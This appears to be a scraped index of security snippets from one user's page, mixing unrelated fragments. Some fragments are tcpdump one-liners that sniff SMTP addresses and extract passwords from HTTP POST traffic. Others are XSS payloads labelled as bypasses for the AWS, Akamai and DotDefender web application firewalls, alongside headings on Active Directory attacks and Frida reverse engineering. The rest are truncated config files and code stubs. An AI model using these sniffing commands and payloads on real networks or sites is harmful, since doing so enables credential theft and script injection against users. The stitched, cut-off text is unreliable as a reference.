sharpicx

Capture SMTP Email

tcpdump -nn -l port 25 | grep -i 'MAIL FROM\|RCPT TO'

Extract HTTP Passwords in POST Requests

tcpdump -s 0 -A -n -l | egrep -i "POST /|pwd=|passwd=|password=|Host:"

Capture FTP Credentials and Commands

Android RE using Frida

I figured that I would write down my findings somewhere since this is my first time using Frida. This won't cover installing frida, adb, apktool because these are well covered in other sources.

Tools

Injecting Frida gadget into APKs

Note: I did not author this, i found it somehwere.

Active Directory Attacks

Summary

Tools
Most common paths to AD compromise
- MS14-068 (Microsoft Kerberos Checksum Validation Vulnerability)
- Open Shares
[GPO - Pivoting with Local Admin

	@vanshitmalhotra \| Bypass AWS WAF -//
	Add "<!" (without quotes) before your payload and bypass that WAF. :)
	eg: <!<script>confirm(1)</script>

	@black0x00mamba \| Bypass WAF Akamaighost & filtered onload, onclick, href, src, onerror, script, etc
	<img sr%00c=x o%00nerror=((pro%00mpt(1)))>

	DotDefender WAF bypass by @0xInfection
	<bleh/ondragstart=&Tab;parent&Tab;['open']&Tab;()%20draggable=True>dragme

	#!/usr/bin/env python3
	"""
	Script used to pull down the current video descriptions from ippsec's youtube channel.
	The raw output still has a few HTML tags that need to be manually removed and there
	also seem to be multiple duplicates of videos that have been removed in the output
	saved as ippsec-details.txt
	"""
	import re
	import sys

	from chalice import Chalice, Response
	from pdf2image import convert_from_bytes
	import os
	from io import BytesIO

	app = Chalice(app_name='pdf2image')


	@app.route('/')
	def index():

	┏━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓
	┇ A bug is never just a mistake. ┇
	┇ It represents something bigger. An error ┇
	┇ of thinking that makes you who you are. ┇
	┗━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┛

	{
	"project_options":{
	"connections":{
	"hostname_resolution":[],
	"out_of_scope_requests":{
	"advanced_mode":false,
	"drop_all_out_of_scope":false,
	"exclude":[],
	"include":[],
	"scope_option":"suite"

	#############################
	########## Bindings
	#############################

	# Set the prefix to `ctrl + a` instead of `ctrl + b`
	unbind C-b
	set-option -g prefix C-a
	bind-key C-a send-prefix

	# Automatically set window title